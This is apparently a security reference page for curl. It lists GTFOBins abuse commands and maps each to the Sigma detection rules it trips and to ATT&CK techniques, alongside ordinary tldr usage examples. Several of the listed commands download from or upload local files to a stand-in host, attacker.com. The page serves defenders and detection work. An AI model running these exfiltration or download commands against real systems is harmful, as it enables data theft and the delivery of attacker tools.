Ceplin Command Identifier

Identifier / Programs / Linux and Unix

curl

Transfer data from or to a server. Supports most protocols, including HTTP, HTTPS, FTP, SCP, etc. tldr-pages

GTFOBins download, file-write, library-load, upload 15 Sigma rules name it 5 ATT&CK techniques 7 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How curl is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

-o

file-write

-o

library-load

--engine

upload

-X
--data-binary

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for curl.

7 documented commands

from GTFOBins, each read by the identifier

download unprivileged, with sudo, as SUID

curl http://attacker.com/path/to/input-file -o /path/to/output-file
Identify

Trips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)

file-read unprivileged, with sudo, as SUID

curl file:///path/to/input-file
Identify

Trips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)

file-write unprivileged, with sudo, as SUID

echo DATA >/path/to/temp-file
curl file:///path/to/temp-file -o /path/to/output-file
Identify

Trips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)

library-load unprivileged, with sudo, as SUID

curl --engine /path/to/lib.so x
Identify

Trips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)

upload unprivileged, with sudo, as SUID

curl -X POST --data-binary @/path/to/input-file http://attacker.com
Identify

Trips 2 Sigma rules: mediumSuspicious Curl File Upload - Linux by Nasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update); lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)

upload unprivileged, with sudo, as SUID

curl -X POST --data-binary DATA http://attacker.com
Identify

Trips 2 Sigma rules: mediumSuspicious Curl File Upload - Linux by Nasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update); lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)

upload unprivileged, with sudo, as SUID

Data will be \r\n terminated.

curl gopher://attacker.com:12345/_DATA
Identify

Trips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)

All 7 commands the identifier reads trip a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for curl. The identifier reads the line of each that runs curl.

What detects it

Sigma process creation rules
highShai-Hulud NPM Package Malicious Exfiltration via CurlSwachchhanda Shrawan Poudel (Nextron Systems)
mediumSuspicious Curl File Upload - LinuxNasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update)
mediumSuspicious Curl Change User Agents - LinuxNasreddine Bencherchali (Nextron Systems)
lowCurl Usage on LinuxNasreddine Bencherchali (Nextron Systems)
highLinux Suspicious Child Process from Node.js - React2ShellSwachchhanda Shrawan Poudel (Nextron Systems), Nasreddine Bencherchali
highAxios NPM Compromise Indicators - LinuxSwachchhanda Shrawan Poudel (Nextron Systems)
highLiteLLM / TeamPCP Supply Chain Attack IndicatorsSwachchhanda Shrawan Poudel (Nextron Systems)
highPotential WizardUpdate Malware InfectionTim Rauch (rule), Elastic (idea)
mediumSuspicious Child Process of SAP NetWeaver - LinuxElastic (idea), Swachchhanda Shrawan Poudel (Nextron Systems)
mediumSuspicious Execution via macOS Script EditorTim Rauch (rule), Elastic (idea)
mediumPotential XCSSET Malware InfectionTim Rauch (rule), Elastic (idea)
T1005Data from Local System
T1041Exfiltration Over C2 Channel
T1071.001Application Layer Protocol: Web Protocols
T1105Ingress Tool Transfer
T1567Exfiltration Over Web Service

Everyday use

from tldr-pages, CC BY 4.0

Make an HTTP GET request and dump the contents in stdout

curl https://example.comIdentify

Trips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)

Make an HTTP GET request, follow any 3xx redirects, and dump the reply headers and contents to stdout

curl --location --dump-header - https://example.comIdentify

Trips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)

Download a file, saving the output under the filename indicated by the URL

curl --remote-name https://example.com/filename.zipIdentify

Trips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)

Of the 3 examples the identifier reads, 3 match GTFOBins abuse or trip a Sigma process-creation rule.